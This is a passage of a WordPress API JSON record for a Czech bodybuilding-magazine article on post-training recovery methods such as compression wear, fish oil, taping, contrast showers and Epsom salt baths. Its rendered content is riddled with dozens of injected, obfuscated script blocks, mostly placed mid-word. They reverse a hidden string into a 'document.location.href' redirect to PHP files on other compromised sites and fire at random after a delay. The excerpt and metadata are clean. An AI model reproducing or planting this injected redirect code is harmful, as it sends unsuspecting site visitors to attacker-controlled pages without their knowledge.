$Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to znamen\u00e1 rozproudit lymfu, zlep\u0161it odstran\u011bn\u00ed odpadn\u00edch l\u00e1tek z\u00a0bun\u011bk a potla\u010dit z\u00e1n\u011bty prob\u00edhaj\u00edc\u00ed v\u00a0t\u011ble. V\u00a0\u010dasopise <em>The Journal of Strength and Conditioning Research<\/em> byly publikov\u00e1ny v\u00fdsledky v\u00fdzkumu, kter\u00fd odhalil, \u017ee ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zp\u016fsob terapie pom\u00e1h\u00e1 pln\u011b obnovit funkci sval\u016f i po brut\u00e1ln\u00edm tr\u00e9ninku. P\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nen\u00ed nic nedosa\u017eiteln\u00e9ho, prost\u011b posta\u010d\u00ed, kdy\u017e budete ve spr\u0161e st\u0159\u00eddat teplou a studenou vodu zhruba v\u00a0pom\u011bru 3:1, teplota by m\u011bla b\u00fdt v\u00a0obou p\u0159\u00edpadech na hranici <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolerance a sprchu v\u017edy kon\u010dete studenou vodou.<\/p>\n<p>&nbsp;<\/p>\n<p>SOLN\u00c1 L\u00c1ZE\u0147<\/p>\n<p>Jednou z\u00a0nejlevn\u011bj\u0161\u00edch a p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom nejsnaz\u0161\u00edch regenera\u010dn\u00edch strategi\u00ed je sou\u010dasn\u011b ta prakticky nejstar\u0161\u00ed. Kdy\u017e se do hork\u00e9 koupele p\u0159id\u00e1 tzv. epsomsk\u00e1 s\u016fl (tzn. magnesium sulf\u00e1t), kter\u00e1 redukuje z\u00e1n\u011bty, reguluje hladinu elektrolyt\u016f a zlep\u0161uje funkci nervov\u00e9 i svalov\u00e9 soustavy, p\u0159i\u010dem\u017e m\u00e1 vliv i na fungov\u00e1n\u00ed enzym\u016f v\u00a0t\u011ble. V\u00fdzkumy n\u00e1m ukazuj\u00ed, \u017ee aktivn\u00edm lidem neust\u00e1le chyb\u00ed ho\u0159\u010d\u00edk, p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jedna z\u00a0m\u00e1la l\u00e1tek, kter\u00e9 m\u016f\u017eeme vst\u0159eb\u00e1vat i poko\u017ekou. Koupele v\u00a0epsomsk\u00e9 soli tedy napom\u00e1haj\u00ed obnovit optim\u00e1ln\u00ed hladinu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to d\u016fle\u017eit\u00e9ho miner\u00e1lu.<\/p>\n<p>&nbsp;<\/p>\n<p>Dal\u0161\u00ed dobr\u00e9 rady a motiva\u010dn\u00ed \u010dl\u00e1nky hledejte na str\u00e1nk\u00e1ch Sv\u011bta kulturistiky. Ud\u011blejte si radost <a href=\"https:\/\/www.casopisyknihy.cz\/Svet-kulturistiky-predplatne-d144.htm\">p\u0159edplatn\u00fdm <\/a>a \u010dasopis najdete pravideln\u011b ve sv\u00e9 schr\u00e1nce.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Foto: Irvin Gelb Tyto techniky v\u00e1m pomohou zm\u00edrnit bolest zp\u016fsobenou tvrd\u00fdm tr\u00e9ninkem a p\u016fsob\u00ed sou\u010dasn\u011b jako prevence zran\u011bn\u00ed. L\u00e9ka\u0159 v\u00e1m \u0159ekne, \u017ee bolest je indik\u00e1tor toho, kdy\u017e se v\u00a0t\u011ble d\u011bje n\u011bco \u0161patn\u00e9ho. Tvrd\u011b tr\u00e9nuj\u00edc\u00ed sportovec v\u00e1m \u0159ekne, \u017ee bolest je n\u011bco, co dr\u017e\u00ed slabochy d\u00e1l od posilovny. My se nyn\u00ed pod\u00edv\u00e1me na oba pohledy. Ur\u010dit\u00fd stupe\u0148 bolesti je ned\u00edlnou sou\u010d\u00e1st\u00ed na\u0161eho \u017eivota a \u00fazce souvis\u00ed i s\u00a0tr\u00e9ninkem. Pokud ale stresov\u00e9 faktory nar\u016fstaj\u00ed, mohou se vymknout kontrole a v\u00e9st k\u00a0poran\u011bn\u00ed, donut\u00ed n\u00e1s prov\u00e1d\u011bt kompenza\u010dn\u00ed cviky, nebo\u0165 je t\u0159eba bojovat s\u00a0poruchami mobility a p\u0159edch\u00e1zet probl\u00e9m\u016fm s\u00a0klouby. Tr\u00e9nink sv\u00fdm zp\u016fsobem vy\u017eaduje trochu sebezap\u0159en\u00ed. Sou\u010dasn\u011b mus\u00edte v\u011bnovat pozornost strav\u011b a sp\u00e1nku, hydrataci a pravideln\u00e9mu myofasci\u00e1ln\u00edmu uvoln\u011bn\u00ed sval\u016f (pomoc\u00ed mas\u00e1\u017en\u00edho v\u00e1le\u010dku). N\u00e1sleduj\u00edc\u00edch p\u011bt strategi\u00ed jist\u011b uv\u00edt\u00e1te zejm\u00e9na ve chv\u00edl\u00edch, kdy tr\u00e9ninkov\u00e1 intenzita nab\u00edr\u00e1 na s\u00edle. KOMPRESN\u00cd PR\u00c1DLO Kompresn\u00ed pr\u00e1dlo m\u016f\u017ee navodit pocit v\u011bt\u0161\u00ed s\u00edly, bezpe\u010dnosti a stability, nav\u00edc to nakonec m\u016f\u017ee p\u016fsobit i \u201ecool\u201c dojmem (t\u0159eba to, kter\u00e9 vyr\u00e1b\u00ed Lebron James). P\u0159ed n\u011bkolika lety byla v\u00a0\u010dasopise Medicine and Science in Sports and Exercise publikov\u00e1na studie, d\u00edky n\u00ed\u017e odborn\u00edci zjistili, \u017ee sportovci, kte\u0159\u00ed nosili kompresn\u00ed pr\u00e1dlo po tr\u00e9ninku, t\u00edm v\u00fdrazn\u011b urychlili regeneraci. Byli schopni zv\u00fd\u0161it svoji s\u00edlu a zlep\u0161ovali se rychleji ne\u017e ti, kte\u0159\u00ed toto oble\u010den\u00ed nenosili. &nbsp; RYB\u00cd OLEJ Omega-3 mastn\u00e9 kyseliny obsa\u017een\u00e9 v\u00a0ryb\u00edm oleji jsou v\u00fdrazn\u011b protiz\u00e1n\u011btliv\u00e9 a pom\u00e1haj\u00ed bojovat proti enzym\u016fm, kter\u00e9 rozkl\u00e1daj\u00ed chrupavku. D\u00edky studii publikovan\u00e9 v\u00a0Clinical Journal of Sport Medicine v\u00edme, \u017ee u\u017e\u00edv\u00e1n\u00ed ryb\u00edho oleje redukuje p\u0159\u00edznaky potr\u00e9ninkov\u00e9 bolesti dostavuj\u00edc\u00ed se 48 hodin po n\u00e1ro\u010dn\u00e9m cvi\u010den\u00ed. Dal\u0161\u00ed v\u00fdzkumy prok\u00e1zaly, \u017ee vhodn\u00fd pom\u011br omega-3 a omega-6 mastn\u00fdch kyselin podporuje produkci kolagenu, d\u016fle\u017eit\u00e9ho struktur\u00e1ln\u00edho proteinu, kter\u00fd je obsa\u017een\u00fd v\u00a0pojivov\u00fdch tk\u00e1n\u00edch. &nbsp; TEJPOVAC\u00cd P\u00c1SKY P\u016fvodn\u011b jde o pom\u016fcku fyzioterapeut\u016f, tzv. \u201etejpy\u201c nyn\u00ed ale b\u011b\u017en\u011b pou\u017e\u00edvaj\u00ed i sami sportovci, aby mohli bezbolestn\u011b cvi\u010dit v\u00a0pot\u0159ebn\u00e9m rozsahu pohybu. Jde o speci\u00e1ln\u00ed elastick\u00e9 p\u00e1sky, kter\u00e9 podporuj\u00ed hojen\u00ed t\u00edm, \u017ee oddaluj\u00ed ko\u017en\u00ed \u0159asu od m\u011bkk\u00fdch tk\u00e1n\u00ed, \u010d\u00edm\u017e usnadn\u00ed prokrven\u00ed drobn\u00fdch potr\u00e9ninkov\u00fdch poran\u011bn\u00ed a regenerace prob\u00edh\u00e1 rychleji. V\u00a0\u010dasopise Journal of Physiotherapy byly zve\u0159ejn\u011bny v\u00fdsledky studie, v\u00a0r\u00e1mci n\u00ed\u017e byly sportovc\u016fm aplikov\u00e1ny tejpy v\u00a0bedern\u00ed \u010d\u00e1sti zad z\u00a0d\u016fvodu nespecifick\u00e9 bolesti t\u00e9to partie. D\u00edky tomu u nich do\u0161lo k\u00a0v\u00fdrazn\u00e9mu zlep\u0161en\u00ed, \u00fastupu bolesti a pokrok\u016fm v\u00a0hybnosti v\u00a0porovn\u00e1n\u00ed se skupinou, kter\u00e1 tejpy nepou\u017e\u00edvala. SPRCHA Vystavit svoje t\u011blo st\u0159\u00eddav\u011b tepl\u00e9 a studen\u00e9 spr\u0161e to znamen\u00e1 rozproudit lymfu, zlep\u0161it odstran\u011bn\u00ed odpadn\u00edch l\u00e1tek z\u00a0bun\u011bk a potla\u010dit z\u00e1n\u011bty prob\u00edhaj\u00edc\u00ed v\u00a0t\u011ble. V\u00a0\u010dasopise The Journal of Strength and Conditioning Research byly publikov\u00e1ny v\u00fdsledky v\u00fdzkumu, kter\u00fd odhalil, \u017ee tento zp\u016fsob terapie pom\u00e1h\u00e1 pln\u011b obnovit funkci sval\u016f i po brut\u00e1ln\u00edm tr\u00e9ninku. P\u0159itom to nen\u00ed nic nedosa\u017eiteln\u00e9ho, prost\u011b posta\u010d\u00ed, kdy\u017e budete ve spr\u0161e st\u0159\u00eddat teplou a studenou vodu zhruba v\u00a0pom\u011bru 3:1, teplota by m\u011bla b\u00fdt v\u00a0obou p\u0159\u00edpadech na hranici tolerance a sprchu v\u017edy kon\u010dete studenou vodou. &nbsp; SOLN\u00c1 L\u00c1ZE\u0147 Jednou z\u00a0nejlevn\u011bj\u0161\u00edch a p\u0159itom nejsnaz\u0161\u00edch regenera\u010dn\u00edch strategi\u00ed je sou\u010dasn\u011b ta prakticky nejstar\u0161\u00ed. Kdy\u017e se do hork\u00e9 koupele p\u0159id\u00e1 tzv. epsomsk\u00e1 s\u016fl (tzn. magnesium sulf\u00e1t), kter\u00e1 redukuje z\u00e1n\u011bty, reguluje hladinu elektrolyt\u016f a zlep\u0161uje funkci nervov\u00e9 i svalov\u00e9 soustavy, p\u0159i\u010dem\u017e m\u00e1 vliv i na fungov\u00e1n\u00ed enzym\u016f v\u00a0t\u011ble. V\u00fdzkumy n\u00e1m ukazuj\u00ed, \u017ee aktivn\u00edm lidem neust\u00e1le chyb\u00ed ho\u0159\u010d\u00edk, p\u0159itom je to jedna z\u00a0m\u00e1la l\u00e1tek, kter\u00e9 m\u016f\u017eeme vst\u0159eb\u00e1vat i poko\u017ekou. Koupele v\u00a0epsomsk\u00e9 soli tedy napom\u00e1haj\u00ed obnovit optim\u00e1ln\u00ed hladinu tohoto d\u016fle\u017eit\u00e9ho miner\u00e1lu. &nbsp; Dal\u0161\u00ed dobr\u00e9 rady a motiva\u010dn\u00ed \u010dl\u00e1nky hledejte na str\u00e1nk\u00e1ch Sv\u011bta kulturistiky. Ud\u011blejte si radost p\u0159edplatn\u00fdm a \u010dasopis najdete pravideln\u011b ve sv\u00e9 schr\u00e1nce. &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":489,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-488","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/488","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=488"}],"version-history":[{"count":3,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/488\/revisions"}],"predecessor-version":[{"id":494,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/488\/revisions\/494"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/489"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=488"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=488"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=488"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}